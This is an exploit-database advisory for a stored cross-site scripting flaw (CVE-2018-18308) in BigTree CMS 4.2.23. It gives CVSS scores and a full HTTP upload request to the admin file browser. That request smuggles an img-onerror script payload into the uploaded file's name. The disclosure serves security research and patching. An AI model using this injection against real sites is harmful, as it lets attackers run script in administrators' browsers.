BigTree CMS 4.2.23 Cross Site Scripting

2018.10.16
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: BigTree CMS 4.2.23 - Cross-Site Scripting # Date: 2018-10-15 # Exploit Author: Ismail Tasdelen # Vendor Homepage: https://www.bigtreecms.org/ # Software Link : https://github.com/bigtreecms/BigTree-CMS/ # Software : BigTree CMS # Version : 4.2.23 # Vulernability Type : Cross-site Scripting # Vulenrability : Stored XSS # CVE : CVE-2018-18308 # In the 4.2.23 version of BigTree, a Stored XSS vulnerability has been discovered in /admin/ajax/file-browser/upload/ (aka the image upload area). # HTTP POST Request : POST /admin/ajax/file-browser/upload/ HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://TARGET/admin/pages/add/0/ Content-Type: multipart/form-data; boundary=---------------------------15148507251045999311737722822 Content-Length: 1574699 Cookie: __utma=242042641.1054742390.1539547796.1539547796.1539547796.1; __utmb=242042641.6.10.1539547796; __utmc=242042641; __utmz=242042641.1539547796.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); PHPSESSID=fat2c61gglprnotletf1mobnui; hide_bigtree_bar=; bigtree_admin[email]=test%40ismailtasdelen.me; bigtree_admin[login]=%5B%22session-5bc3a4ae5b8016.12355027%22%2C%22chain-5bc3a4ae5b7966.37991866%22%5D; bigtree_admin%5Bpage_properties_open%5D=on Connection: close Upgrade-Insecure-Requests: 1 -----------------------------15148507251045999311737722822 Content-Disposition: form-data; name="__csrf_token_B2FHVMV815XHACWV8RVV2BTX1EH1YEH6__" tNvtUi8PU/IDcrgxj1t/Uv/1ciYeF7AudslXD429hkQ= -----------------------------15148507251045999311737722822 Content-Disposition: form-data; name="folder" 0 -----------------------------15148507251045999311737722822 Content-Disposition: form-data; name="files[]"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg" Content-Type: image/jpeg


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